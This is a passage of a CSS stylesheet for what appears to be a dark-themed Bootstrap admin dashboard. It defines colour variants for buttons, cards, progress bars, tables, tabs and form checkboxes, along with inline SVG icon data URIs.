} .btn[class*="btn-gradient-"] { border: none !important; } .btn-light-primary { background: #dcdaeb; color: #51459d; border-color: #dcdaeb; } .btn-light-primary:hover { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-primary.focus, .btn-light-primary:focus { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-primary:not(:disabled):not(.disabled).active, .btn-light-primary:not(:disabled):not(.disabled):active, .show > .btn-light-primary.dropdown-toggle { background: #51459d; color: #fff; border-color: #51459d; } .btn-check:active + .btn-light-primary, .btn-check:checked + .btn-light-primary { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-secondary { background: #e2e3e5; color: #6c757d; border-color: #e2e3e5; } .btn-light-secondary:hover { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-secondary.focus, .btn-light-secondary:focus { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-secondary:not(:disabled):not(.disabled).active, .btn-light-secondary:not(:disabled):not(.disabled):active, .show > .btn-light-secondary.dropdown-toggle { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-check:active + .btn-light-secondary, .btn-check:checked + .btn-light-secondary { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-success { background: #e2f7d9; color: #6fd943; border-color: #e2f7d9; } .btn-light-success:hover { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-success.focus, .btn-light-success:focus { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-success:not(:disabled):not(.disabled).active, .btn-light-success:not(:disabled):not(.disabled):active, .show > .btn-light-success.dropdown-toggle { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-check:active + .btn-light-success, .btn-check:checked + .btn-light-success { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-info { background: #d8f4f7; color: #3ec9d6; border-color: #d8f4f7; } .btn-light-info:hover { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-info.focus, .btn-light-info:focus { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-info:not(:disabled):not(.disabled).active, .btn-light-info:not(:disabled):not(.disabled):active, .show > .btn-light-info.dropdown-toggle { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-check:active + .btn-light-info, .btn-check:checked + .btn-light-info { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-warning { background: #ffecd2; color: #ffa21d; border-color: #ffecd2; } .btn-light-warning:hover { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-warning.focus, .btn-light-warning:focus { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-warning:not(:disabled):not(.disabled).active, .btn-light-warning:not(:disabled):not(.disabled):active, .show > .btn-light-warning.dropdown-toggle { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-check:active + .btn-light-warning, .btn-check:checked + .btn-light-warning { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-danger { background: #ffd8e2; color: #ff3a6e; border-color: #ffd8e2; } .btn-light-danger:hover { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-danger.focus, .btn-light-danger:focus { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-danger:not(:disabled):not(.disabled).active, .btn-light-danger:not(:disabled):not(.disabled):active, .show > .btn-light-danger.dropdown-toggle { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-check:active + .btn-light-danger, .btn-check:checked + .btn-light-danger { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-light { background: #fefefe; color: #f8f9fa; border-color: #fefefe; } .btn-light-light:hover { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-light.focus, .btn-light-light:focus { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-light:not(:disabled):not(.disabled).active, .btn-light-light:not(:disabled):not(.disabled):active, .show > .btn-light-light.dropdown-toggle { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-check:active + .btn-light-light, .btn-check:checked + .btn-light-light { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-dark { background: #d2d3d5; color: #1c232f; border-color: #d2d3d5; } .btn-light-dark:hover { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-light-dark.focus, .btn-light-dark:focus { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-light-dark:not(:disabled):not(.disabled).active, .btn-light-dark:not(:disabled):not(.disabled):active, .show > .btn-light-dark.dropdown-toggle { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-check:active + .btn-light-dark, .btn-check:checked + .btn-light-dark { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-gradient-primary { background: linear-gradient(141.55deg, #51459d, #9a459d); color: #ffffff; } .btn-gradient-primary:hover, .btn-gradient-primary.focus, .btn-gradient-primary:focus { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-gradient-primary:not(:disabled):not(.disabled).active, .btn-gradient-primary:not(:disabled):not(.disabled):active, .show > .btn-gradient-primary.dropdown-toggle { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-check:active + .btn-gradient-primary, .btn-check:checked + .btn-gradient-primary { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-gradient-secondary { background: linear-gradient(141.55deg, #6c757d, #716c7d); color: #ffffff; } .btn-gradient-secondary:hover, .btn-gradient-secondary.focus, .btn-gradient-secondary:focus { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-gradient-secondary:not(:disabled):not(.disabled).active, .btn-gradient-secondary:not(:disabled):not(.disabled):active, .show > .btn-gradient-secondary.dropdown-toggle { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-check:active + .btn-gradient-secondary, .btn-check:checked + .btn-gradient-secondary { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-gradient-success { background: linear-gradient(141.55deg, #6fd943, #43d994); color: #ffffff; } .btn-gradient-success:hover, .btn-gradient-success.focus, .btn-gradient-success:focus { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-gradient-success:not(:disabled):not(.disabled).active, .btn-gradient-success:not(:disabled):not(.disabled):active, .show > .btn-gradient-success.dropdown-toggle { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-check:active + .btn-gradient-success, .btn-check:checked + .btn-gradient-success { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-gradient-info { background: linear-gradient(141.55deg, #3ec9d6, #3e4ad6); color: #ffffff; } .btn-gradient-info:hover, .btn-gradient-info.focus, .btn-gradient-info:focus { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-gradient-info:not(:disabled):not(.disabled).active, .btn-gradient-info:not(:disabled):not(.disabled):active, .show > .btn-gradient-info.dropdown-toggle { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-check:active + .btn-gradient-info, .btn-check:checked + .btn-gradient-info { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-gradient-warning { background: linear-gradient(141.55deg, #ffa21d, #a0ff1d); color: #ffffff; } .btn-gradient-warning:hover, .btn-gradient-warning.focus, .btn-gradient-warning:focus { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-gradient-warning:not(:disabled):not(.disabled).active, .btn-gradient-warning:not(:disabled):not(.disabled):active, .show > .btn-gradient-warning.dropdown-toggle { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-check:active + .btn-gradient-warning, .btn-check:checked + .btn-gradient-warning { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-gradient-danger { background: linear-gradient(141.55deg, #ff3a6e, #ffaa3a); color: #ffffff; } .btn-gradient-danger:hover, .btn-gradient-danger.focus, .btn-gradient-danger:focus { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-gradient-danger:not(:disabled):not(.disabled).active, .btn-gradient-danger:not(:disabled):not(.disabled):active, .show > .btn-gradient-danger.dropdown-toggle { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-check:active + .btn-gradient-danger, .btn-check:checked + .btn-gradient-danger { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-gradient-light { background: linear-gradient(141.55deg, #f8f9fa, #f9f8fa); color: #212529; } .btn-gradient-light:hover, .btn-gradient-light.focus, .btn-gradient-light:focus { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-gradient-light:not(:disabled):not(.disabled).active, .btn-gradient-light:not(:disabled):not(.disabled):active, .show > .btn-gradient-light.dropdown-toggle { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-check:active + .btn-gradient-light, .btn-check:checked + .btn-gradient-light { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-gradient-dark { background: linear-gradient(141.55deg, #1c232f, #251c2f); color: #ffffff; } .btn-gradient-dark:hover, .btn-gradient-dark.focus, .btn-gradient-dark:focus { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .btn-gradient-dark:not(:disabled):not(.disabled).active, .btn-gradient-dark:not(:disabled):not(.disabled):active, .show > .btn-gradient-dark.dropdown-toggle { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .btn-check:active + .btn-gradient-dark, .btn-check:checked + .btn-gradient-dark { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .dropdown-toggle.arrow-none:after { display: none; } .dropdown-menu { padding: 15px 0; box-shadow: 0 4px 24px 0 rgba(62, 57, 107, 0.18); border: none; } .dash-header .dropdown-menu { animation: 0.1s ease-in-out 0s normal forwards 1 fadein; } @keyframes fadein { from { transform: translate3d(0, 8px, 0); opacity: 0; } to { transform: translate3d(0, 0, 0); opacity: 1; } } .dropdown .dropdown-item.active i.material-icons-two-tone, .dropdown .dropdown-item:active i.material-icons-two-tone, .dropdown .dropdown-item:focus i.material-icons-two-tone, .dropdown .dropdown-item:hover i.material-icons-two-tone { background-color: #51459d; } .dropdown .dropdown-item { padding: 10px 25px; } .dropdown .dropdown-item i { font-size: 18px; margin-right: 10px; } .dropdown .dropdown-item i.material-icons-two-tone { vertical-align: bottom; font-size: 22px; background-color: #525b69; } .dropdown .dropdown-item svg { width: 18px; height: 18px; margin-right: 10px; fill: #f2f2f2; } .dropdown .dropdown-item .float-right svg { width: 14px; height: 14px; } .card { box-shadow: none; margin-bottom: 24px; transition: box-shadow 0.2s ease-in-out; } .card .card-header { border-bottom: 1px solid #3E3F4A; } .card .card-header .float-end .btn { margin: -6px 0; } .card .card-header h5, .card .card-header .h5 { margin-bottom: 0; color: #ffffff; font-size: 16px; font-weight: 600; } .card .card-header h5 + p, .card .card-header .h5 + p, .card .card-header h5 + small, .card .card-header .h5 + small, .card .card-header h5 + .small, .card .card-header .h5 + .small { margin-top: 10px; } .card .card-header h5 + p:last-child, .card .card-header .h5 + p:last-child, .card .card-header h5 + small:last-child, .card .card-header .h5 + small:last-child, .card .card-header h5 + .small:last-child, .card .card-header .h5 + .small:last-child { margin-bottom: 0; } .card .card-header:not(.border-0) h5, .card .card-header:not(.border-0) .h5 { position: relative; } .card .card-header:not(.border-0) h5:after, .card .card-header:not(.border-0) .h5:after { content: ""; height: 30px; width: 3px; background: #51459d; position: absolute; left: -25px; top: -5px; border-radius: 0 3px 3px 0; } .card .card-header .card-header-right { right: 10px; top: 10px; float: right; padding: 0; position: absolute; } @media only screen and (max-width: 575px) { .card .card-header .card-header-right { display: none; } } .card .card-header .card-header-right .dropdown-menu { margin-top: 0; } .card .card-header .card-header-right .dropdown-menu li { cursor: pointer; } .card .card-header .card-header-right .dropdown-menu li a { font-size: 14px; text-transform: capitalize; } .card .card-header .card-header-right .btn.dropdown-toggle { border: none; background: transparent; box-shadow: none; color: #888; } .card .card-header .card-header-right .btn.dropdown-toggle i { margin-right: 0; } .card .card-header .card-header-right .btn.dropdown-toggle:after { display: none; } .card .card-header .card-header-right .btn.dropdown-toggle:focus { box-shadow: none; outline: none; } .card .card-header .card-header-right .btn.dropdown-toggle { border: none; background: transparent; box-shadow: none; padding: 0; width: 20px; height: 20px; right: 8px; top: 12px; } .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span { background-color: #888; height: 2px; border-radius: 5px; } .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span:after, .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span:before { border-radius: 5px; height: 2px; background-color: #888; } .card .card-header .card-header-right .nav-pills { padding: 0; box-shadow: none; background: transparent; } .card .card-footer { transition: box-shadow 0.2s ease-in-out; border-top: 1px solid #3E3F4A; } .card .card-img-overlay { background: rgba(0, 0, 0, 0.5); } .card:hover .card-footer[class*="bg-"] { box-shadow: none; } .card.bg-primary { box-shadow: 0 9px 9px -1px rgba(81, 69, 157, 0.3); } .card.bg-secondary { box-shadow: 0 9px 9px -1px rgba(108, 117, 125, 0.3); } .card.bg-success { box-shadow: 0 9px 9px -1px rgba(111, 217, 67, 0.3); } .card.bg-info { box-shadow: 0 9px 9px -1px rgba(62, 201, 214, 0.3); } .card.bg-warning { box-shadow: 0 9px 9px -1px rgba(255, 162, 29, 0.3); } .card.bg-danger { box-shadow: 0 9px 9px -1px rgba(255, 58, 110, 0.3); } .card.bg-light { box-shadow: 0 9px 9px -1px rgba(248, 249, 250, 0.3); } .card.bg-dark { box-shadow: 0 9px 9px -1px rgba(28, 35, 47, 0.3); } @media (max-width: 575.98px) { .card { margin-bottom: 20px; } } .progress { overflow: visible; background: #191b20; } .progress .progress-bar { border-radius: 10px; } .progress .progress-bar.bg-primary { box-shadow: 0 8px 8px -1px rgba(81, 69, 157, 0.3); } .progress .progress-bar.bg-secondary { box-shadow: 0 8px 8px -1px rgba(108, 117, 125, 0.3); } .progress .progress-bar.bg-success { box-shadow: 0 8px 8px -1px rgba(111, 217, 67, 0.3); } .progress .progress-bar.bg-info { box-shadow: 0 8px 8px -1px rgba(62, 201, 214, 0.3); } .progress .progress-bar.bg-warning { box-shadow: 0 8px 8px -1px rgba(255, 162, 29, 0.3); } .progress .progress-bar.bg-danger { box-shadow: 0 8px 8px -1px rgba(255, 58, 110, 0.3); } .progress .progress-bar.bg-light { box-shadow: 0 8px 8px -1px rgba(248, 249, 250, 0.3); } .progress .progress-bar.bg-dark { box-shadow: 0 8px 8px -1px rgba(28, 35, 47, 0.3); } .table.table-align-center td, .table.table-align-center th { vertical-align: middle; } .table thead th { padding: 0.9rem 0.75rem; } .table td, .table th { vertical-align: middle; } .table.table-borderless td, .table.table-borderless th { border: none !important; } body .table thead th { font-size: 12px; } .table-hover tbody tr:hover { background-color: rgba(81, 69, 157, 0.03); } .dataTable-table > tbody > tr > td, .dataTable-table > tbody > tr > th, .dataTable-table > tfoot > tr > td, .dataTable-table > tfoot > tr > th, .dataTable-table > thead > tr > td, .dataTable-table > thead > tr > th { vertical-align: middle; } .table th.text-end[data-sortable] { padding-right: 16px; } .table th.text-end[data-sortable] .dataTable-sorter::before, .table th.text-end[data-sortable] .dataTable-sorter::after { right: -14px; } .dataTable-table tfoot tr th, .dataTable-table tfoot tr td, .dataTable-table thead tr th, .dataTable-table thead tr td, .dataTable-table tbody tr th, .dataTable-table tbody tr td { padding: 0.9rem 0.75rem; } .card:not(.table-card) .dataTable-bottom, .card:not(.table-card) .dataTable-top { padding: 25px 25px; } .card:not(.table-card) .table-responsive { margin: -25px -25px 0 -25px; width: calc(100% + 50px); } .card:not(.table-card) .table { margin-bottom: 0; } .card:not(.table-card) .table > thead > tr > th { border-top: 0; } .card:not(.table-card) .table tr td:first-child, .card:not(.table-card) .table tr th:first-child { padding-left: 25px; } .card:not(.table-card) .table tr td:last-child, .card:not(.table-card) .table tr th:last-child { padding-right: 25px; } .card:not(.table-card) .table.without-header tr:first-child td { border-top: none; } .dataTable-wrapper.no-footer .dataTable-container { border-bottom: none; } .dataTable-dropdown label { display: flex; align-items: center; white-space: nowrap; } .dataTable-dropdown label select.dataTable-selector { width: 75px; margin-right: 10px; } .tabs-border.nav-tabs .nav-item { margin-bottom: 0; } .tabs-border.nav-tabs .nav-link { border: none; background: no-repeat center bottom, center 100%; background-size: 0 100%, 100% 100%; transition: background 0.3s ease-out; background-image: linear-gradient(to top, theme-color("primary") 2px, rgba(255, 255, 255, 0) 2px); } .tabs-border.nav-tabs .nav-link.active { background-size: 100% 100%, 100% 100%; } .tabs-light.nav-pill + .tab-content { border-top: 1px solid #3E3F4A; } .tabs-light.nav-pill .nav-item { margin-bottom: 0; } .tabs-light.nav-pill .nav-item .nav-link { color: #51459d; background: #dcdaeb; border-radius: 4px; transition: background 0.3s ease-out; } .tabs-light.nav-pill .nav-item + .nav-item { margin-left: 10px; } .tabs-light.nav-pill .nav-link { border: none; } .tabs-light.nav-pill .nav-link.active { color: #fff; background: #51459d; } .form-group { margin-bottom: 1.3rem; } .form-group label { font-weight: 600; } .form-control.flatpickr-input[readonly], .flatpickr-input.custom-select[readonly], .flatpickr-input.dataTable-selector[readonly], .flatpickr-input.dataTable-input[readonly] { background: #22242c; } .input-group-text svg { width: 18px; height: 18px; } select.form-control, select.custom-select, select.dataTable-selector, select.dataTable-input { -webkit-appearance: none; -moz-appearance: none; appearance: none; background: #22242c url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke='currentColor' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='6 9 12 15 18 9'%3E%3C/polyline%3E%3C/svg%3E") no-repeat right 0.75rem center/18px 25px; } select.form-control[data-multiselectsplitter-firstselect-selector], select.custom-select[data-multiselectsplitter-firstselect-selector], select.dataTable-selector[data-multiselectsplitter-firstselect-selector], select.dataTable-input[data-multiselectsplitter-firstselect-selector], select.form-control[data-multiselectsplitter-secondselect-selector], select.custom-select[data-multiselectsplitter-secondselect-selector], select.dataTable-selector[data-multiselectsplitter-secondselect-selector], select.dataTable-input[data-multiselectsplitter-secondselect-selector] { background: none; } .bootstrap-select > .dropdown-toggle.btn-light, .bootstrap-select > .dropdown-toggle.btn-secondary, .bootstrap-select > .dropdown-toggle.btn-default { border-color: #3E3F4A !important; box-shadow: none; background: #22242c !important; color: #808191; } .bootstrap-select > .dropdown-toggle.btn-light:focus, .bootstrap-select > .dropdown-toggle.btn-secondary:focus, .bootstrap-select > .dropdown-toggle.btn-default:focus { outline: none !important; } .form-check .form-check-input.input-primary:checked { border-color: #51459d; background-color: #51459d; } .form-check .form-check-input.input-light-primary:checked { border-color: #dcdaeb; background-color: #dcdaeb; } .form-check .form-check-input.input-light-primary:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%2351459d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-primary:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%2351459d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-primary:focus[type="checkbox"], .form-check .form-check-input.input-primary:focus[type="radio"], .form-check .form-check-input.input-light-primary:focus[type="checkbox"], .form-check .form-check-input.input-light-primary:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-check.form-switch .form-check-input.input-light-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2351459d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-secondary:checked { border-color: #6c757d; background-color: #6c757d; } .form-check .form-check-input.input-light-secondary:checked { border-color: #e2e3e5; background-color: #e2e3e5; } .form-check .form-check-input.input-light-secondary:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%236c757d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-secondary:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%236c757d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-secondary:focus[type="checkbox"], .form-check .form-check-input.input-secondary:focus[type="radio"], .form-check .form-check-input.input-light-secondary:focus[type="checkbox"], .form-check .form-check-input.input-light-secondary:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.25); } .form-check.form-switch .form-check-input.input-light-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%236c757d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-success:checked { border-color: #6fd943; background-color: #6fd943; } .form-check .form-check-input.input-light-success:checked { border-color: #e2f7d9; background-color: #e2f7d9; } .form-check .form-check-input.input-light-success:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%236fd943' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-success:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%236fd943'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-success:focus[type="checkbox"], .form-check .form-check-input.input-success:focus[type="radio"], .form-check .form-check-input.input-light-success:focus[type="checkbox"], .form-check .form-check-input.input-light-success:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .form-check.form-switch .form-check-input.input-light-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%236fd943'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-info:checked { border-color: #3ec9d6; background-color: #3ec9d6; } .form-check .form-check-input.input-light-info:checked { border-color: #d8f4f7; background-color: #d8f4f7; } .form-check .form-check-input.input-light-info:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%233ec9d6' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-info:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%233ec9d6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-info:focus[type="checkbox"], .form-check .form-check-input.input-info:focus[type="radio"], .form-check .form-check-input.input-light-info:focus[type="checkbox"], .form-check .form-check-input.input-light-info:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(62, 201, 214, 0.25); } .form-check.form-switch .form-check-input.input-light-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%233ec9d6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-warning:checked { border-color: #ffa21d; background-color: #ffa21d; } .form-check .form-check-input.input-light-warning:checked { border-color: #ffecd2; background-color: #ffecd2; } .form-check .form-check-input.input-light-warning:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffa21d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-warning:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffa21d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-warning:focus[type="checkbox"], .form-check .form-check-input.input-warning:focus[type="radio"], .form-check .form-check-input.input-light-warning:focus[type="checkbox"], .form-check .form-check-input.input-light-warning:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(255, 162, 29, 0.25); } .form-check.form-switch .form-check-input.input-light-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffa21d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-danger:checked { border-color: #ff3a6e; background-color: #ff3a6e; } .form-check .form-check-input.input-light-danger:checked { border-color: #ffd8e2; background-color: #ffd8e2; } .form-check .form-check-input.input-light-danger:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ff3a6e' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-danger:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-danger:focus[type="checkbox"], .form-check .form-check-input.input-danger:focus[type="radio"], .form-check .form-check-input.input-light-danger:focus[type="checkbox"], .form-check .form-check-input.input-light-danger:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .form-check.form-switch .form-check-input.input-light-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light:checked { border-color: #f8f9fa; background-color: #f8f9fa; } .form-check .form-check-input.input-light-light:checked { border-color: #fefefe; background-color: #fefefe; } .form-check .form-check-input.input-light-light:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23f8f9fa' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-light:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light:focus[type="checkbox"], .form-check .form-check-input.input-light:focus[type="radio"], .form-check .form-check-input.input-light-light:focus[type="checkbox"], .form-check .form-check-input.input-light-light:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.25); } .form-check.form-switch .form-check-input.input-light-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-dark:checked { border-color: #1c232f; background-color: #1c232f; } .form-check .form-check-input.input-light-dark:checked { border-color: #d2d3d5; background-color: #d2d3d5; } .form-check .form-check-input.input-light-dark:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%231c232f' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-dark:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%231c232f'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-dark:focus[type="checkbox"], .form-check .form-check-input.input-dark:focus[type="radio"], .form-check .form-check-input.input-light-dark:focus[type="checkbox"], .form-check .form-check-input.input-light-dark:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(28, 35, 47, 0.25); } .form-check.form-switch .form-check-input.input-light-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%231c232f'/%3e%3c/svg%3e"); } .input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group > .input-group-append:last-child > .input-group-text:not(:last-child), .input-group > .input-group-append:not(:last-child) > .btn, .input-group > .input-group-append:not(:last-child) > .input-group-text, .input-group > .input-group-prepend > .btn, .input-group > .input-group-prepend > .input-group-text { border-right: none; } .form-v1 .form-label-group { position: relative; margin-bottom: 1rem; } .form-v1 .form-label-group > input, .form-v1 .form-label-group > label { height: 3.125rem; padding: 0.75rem; } .form-v1 .form-label-group > label { position: absolute; top: 0; left: 0; display: block; width: 100%; color: #495057; pointer-events: none; cursor: text; border: 1px solid transparent; border-radius: 0.25rem; transition: all 0.1s ease-in-out; } .form-v1 .form-label-group input::-moz-placeholder { color: transparent; } .form-v1 .form-label-group input::placeholder { color: transparent; } .form-v1 .form-label-group input:not(:-moz-placeholder-shown) { padding-top: 1.25rem; padding-bottom: 0.25rem; } .form-v1 